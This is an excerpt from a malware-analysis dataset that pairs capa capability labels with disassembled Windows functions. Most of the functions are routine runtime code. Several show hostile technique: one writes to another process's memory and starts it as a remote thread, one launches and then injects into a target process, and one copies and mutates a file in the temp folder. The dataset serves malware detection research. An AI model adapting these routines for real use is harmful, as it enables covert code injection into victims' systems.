joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495c29
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.004a017c
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x495c5a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00495c6d
pop edi
pop esi
pop ebx
ret 8

Function at 0x497241
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x497279
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004952b4
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049528c
jmp 0x497285
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x498b34
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x498b76
call fcn.004a017c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x498b76
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x498b6d
xor eax, eax
jmp 0x498b7e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00498b84
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a06ac
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a06da
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a06f8
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a0612
jmp 0x4a06f8
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a06f8
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a0612
test edi, edi
mov eax, edi
jne 0x4a06e2
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4013e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push section..rdata
push 0x4023f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffa8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
mov dl, ah
mov dword [0x4074c8], edx
mov ecx, eax
and ecx, 0xff
mov dword [0x4074c4], ecx
shl ecx, 8
add ecx, edx
mov dword [0x4074c0], ecx
shr eax, 0x10
mov dword [0x4074bc], eax
call fcn.004022c0
test eax, eax
jne 0x40144a
push 0x1c
call fcn.00401580
add esp, 4
mov dword [ebp - 4], 0
call fcn.004020c0
call fcn.004020b0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x407890], eax
call fcn.00401c80
mov dword [0x4074a4], eax
test eax, eax
je 0x40147d
mov eax, dword [0x407890]
test eax, eax
jne 0x401487
push 0xffffffffffffffff
call fcn.004015e0
add esp, 4
call fcn.004019d0
call fcn.004018e0
call fcn.004015b0
mov esi, dword [0x407890]
mov dword [ebp - 0x64], esi
cmp byte [esi], 0x22
jne 0x401566
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
cmp al, 0x22
je 0x4014ce
test al, al
je 0x4014ce
and eax, 0xff
push eax
call fcn.00401880
add esp, 4
test eax, eax
je 0x4014a8
inc esi
mov dword [ebp - 0x64], esi
jmp 0x4014a8
cmp byte [esi], 0x22
jne 0x4014d7
inc esi
mov dword [ebp - 0x64], esi
mov al, byte [esi]
test al, al
je 0x4014e7
cmp al, 0x20
ja 0x4014e7
inc esi
mov dword [ebp - 0x64], esi
jmp 0x4014d7
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x401508
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x40150d
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x60], eax
push eax
call fcn.004015e0
jmp 0x40154b
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x4014d7
inc esi
mov dword [ebp - 0x64], esi
jmp 0x401566

Function at 0x401620
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x4074f8]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x40163f
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x4074f4], 1
mov byte [0x4074f0], bl
jne 0x401699
mov ecx, dword [0x407888]
test ecx, ecx
je 0x401687
mov esi, dword [0x407884]
sub esi, 4
cmp esi, ecx
jb 0x401687
mov eax, dword [esi]
test eax, eax
je 0x401680
call eax
mov ecx, dword [0x407888]
sub esi, 4
cmp esi, ecx
jae 0x401672
push 0x405014
push 0x405010
call fcn.004016d0
add esp, 8
push 0x40501c
push 0x405018
call fcn.004016d0
add esp, 8
test ebx, ebx
jne 0x4016c0
push ebp
mov dword [0x4074f8], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret
Function at 0x401c80
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x407608]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test eax, eax
jne 0x401cc2
call edi
mov esi, eax
test esi, esi
je 0x401cac
mov eax, 1
jmp 0x401cbd
call ebp
mov ebx, eax
test ebx, ebx
je 0x401dcf
mov eax, 2
mov dword [0x407608], eax
cmp eax, 1
jne 0x401d62
test esi, esi
jne 0x401cdb
call edi
mov esi, eax
test esi, esi
je 0x401dcf
cmp word [esi], 0
mov eax, esi
je 0x401cf5
add eax, 2
cmp word [eax], 0
jne 0x401ce3
add eax, 2
cmp word [eax], 0
jne 0x401ce3
sub eax, esi
push 0
sar eax, 1
inc eax
push 0
mov ebp, eax
push 0
push 0
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x401d54
push edi
call fcn.00402740
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401d54
push 0
push 0
push edi
push ebx
push ebp
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x401d46
push ebx
call fcn.004026f0
add esp, 4
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x401dcf
test ebx, ebx
jne 0x401d73
call ebp
mov ebx, eax
test ebx, ebx
je 0x401dcf
mov cl, byte [ebx]
mov eax, ebx
test cl, cl
je 0x401d8b
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d7b
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401d7b
sub eax, ebx
inc eax
mov esi, eax
push esi
call fcn.00402740
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x401dad
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x402510
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x1a8
mov eax, 0x4051d8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
cmp ecx, dword [eax]
je 0x402534
add eax, 8
inc ebp
cmp eax, 0x405268
jb 0x402525
cmp ecx, dword [ebp*8 + 0x4051d8]
jne 0x4026db
mov eax, dword [0x4074ac]
cmp eax, 1
je 0x40269d
test eax, eax
jne 0x402560
cmp dword [0x405034], 1
je 0x40269d
cmp ecx, 0xfc
je 0x4026db
lea eax, [esp + 0xb4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40259b
mov ecx, 5
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x4025e4
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 3
mov ebx, ecx
lea ecx, [esp + 0xb8]
sub ecx, 0x3b
push 0x4042e0
add ebx, ecx
push ebx
call fcn.00402fa0
add esp, 0xc
mov ecx, 6
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
push 0x12010
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4042c0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.Microsoft_Visual_C_Runtime_Library
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp*8 + 0x4051dc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402f10
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x407780]
test eax, eax
je 0x4026ae
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x4026b8
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebp*8 + 0x4051dc]
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1a8
ret
Function at 0x131428ec
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.13143a98
test esi, esi
jne 0x13142922
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.13143b88
jmp 0x13142940
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.13142800
mov edi, eax
test esi, esi
je 0x13142940
cmp dword [ebx], 0
je 0x13142940
dec esi
jmp 0x13142929
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x13142a5c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x13153008], 0x8088405
inc edx
mov dword [ebx + 0x13153008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x13142e84
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x13153024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x13142f1c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x13142efc
xor eax, eax
push ebp
push 0x13142ef5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x13142f38
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13142efc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x13153024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x13153024], ax
mov esp, ebp
pop ebp
ret

Function at 0x1314391c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x13154044], 0
je 0x1314397d
cmp word [0x13154218], 0xd7b2
jne 0x13143945
cmp dword [0x13154220], 0
jbe 0x13143945
mov eax, 0x13154214
call dword [0x13154230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x13153070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x131439a4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x13153034], 0
jne 0x13143999
push 0
push 0x13153068
push 0x13153070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x13144b4c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x13144d7c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x13144bcf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x13144d7c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x13144bcf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x13144d98
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x13144c58
xor eax, eax
push ebp
push 0x13144c51
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.13144994
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x13144c36
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x13144db8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x13144c36
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13144c58
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x13144d72
cmp byte [ebp - 0xd], 0
jne 0x13144c9f
cmp byte [ebp - 0x12], 0
je 0x13144d72
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x13144cb8
dec ebx
cmp byte [ebx], 0x2e
je 0x13144cc7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x13144cb7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x13144d72
inc ebx
cmp byte [ebp - 0x12], 0
je 0x13144d04
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x13144d72
cmp byte [ebp - 0xd], 0
je 0x13144d72
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x13144d72
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x13145408
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x1314546e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.13143d08
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.13142a78
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x13145458
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145475
lea eax, [ebp - 0x10]
call fcn.13143a98
ret

Function at 0x13149690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x131496c9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.13143b88
jmp 0x131496d2
mov eax, ebx
mov edx, esi
call fcn.13143aec
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x131496dc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x131496fd
mov al, byte [esp]
jmp 0x131496ff
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x13149d84
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x13149bfc
mov eax, dword [0x13153508]
cmp byte [eax], 0
je 0x13149e00
mov eax, dword [0x1315342c]
call fcn.131429d8
call fcn.1314272c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.13147030
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x13149e48
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x13149e36
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x13153408]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x13154660]
call fcn.13144958
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x1314aae4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x1314ab48
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.13143d08
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.13146bf0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314ab4f
lea eax, [ebp - 0xc]
call fcn.13143a98
ret

Function at 0x13152640
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp + 4], 1
push esp
push 0xf003f
push 0
push 0x131526c4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x13152708
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x131526a6
mov eax, ebx
lea edx, [esp + 0xc]
mov ecx, pe_nt_image_headers32
call fcn.13143d08
jmp 0x131526b2
mov eax, ebx
mov edx, 0x13152714
call fcn.13143aec
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0x10c
pop ebx
ret

Function at 0x131527a4
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
push 0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
mov eax, dword [ebx + 0x3c]
add eax, ebx
add eax, 4
add eax, 0x14
mov edi, dword [eax + 0x38]
push 0x8000
push 0
push ebx
push esi
call sub.kernel32.dll_VirtualFreeEx
push 0x40
push 0x3000
push edi
push ebx
push esi
call sub.kernel32.dll_VirtualAllocEx
push esp
push edi
push ebx
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
lea eax, [esp + 4]
push eax
push 0
push ebx
push ebp
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x13152808
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
xor edx, edx
push ebp
push 0x13152899
push dword fs:[edx]
mov dword fs:[edx], esp
cmp eax, 3
jne 0x13152883
push 0
lea eax, [ebp - 8]
call fcn.13152640
mov eax, dword [ebp - 8]
call fcn.13143f24
push eax
call sub.kernel32.dll_WinExec
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 4]
push eax
push 0
push 0x131528a8
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, 0x13152744
mov eax, ebx
call fcn.131527a4
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131528a0
lea eax, [ebp - 8]
call fcn.13143a98
ret
Function at 0x131528b0
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x13152a54
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xfe
call fcn.13142638
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push 0xfe
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.13147138
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
mov ecx, 0x13152a6c
call fcn.13143d80
push 0
mov eax, dword [ebp - 4]
call fcn.13143f24
push eax
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.131428ec
mov eax, dword [ebp - 0x14]
call fcn.13143f24
push eax
call sub.kernel32.dll_CopyFileA
mov dl, 1
mov eax, dword [0x1314f52c]
call fcn.13142fb4
mov ebx, eax
mov dl, 1
mov eax, dword [0x1314f52c]
call fcn.13142fb4
mov esi, eax
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.13151978
call fcn.1314294c
mov eax, pe_nt_image_headers32
call fcn.13142a5c
mov byte [ebp - 0xc], al
mov eax, pe_nt_image_headers32
call fcn.13142a5c
mov byte [ebp - 0xb], al
mov eax, pe_nt_image_headers32
call fcn.13142a5c
mov byte [ebp - 0xa], al
mov eax, pe_nt_image_headers32
call fcn.13142a5c
mov byte [ebp - 9], al
mov cx, 2
xor edx, edx
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
xor ecx, ecx
xor edx, edx
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x14]
push 0
push 0x30
mov edx, ebx
mov eax, esi
call fcn.131514a4
xor ecx, ecx
mov edx, 0x30
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x14]
lea edx, [ebp - 0xc]
mov ecx, 1
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
xor eax, eax
mov al, byte [ebp - 0xc]
inc eax
mov byte [ebp - 0xc], al
lea edx, [ebp - 0xc]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
xor ecx, ecx
mov edx, 0x31
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x14]
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 0x31
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.131514a4
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.131518a4
mov eax, ebx
call fcn.13142fe4
mov eax, esi
call fcn.13142fe4
mov eax, dword [ebp - 8]
call fcn.13142658
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13152a5b
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.13143abc
lea eax, [ebp - 4]
call fcn.13143a98
ret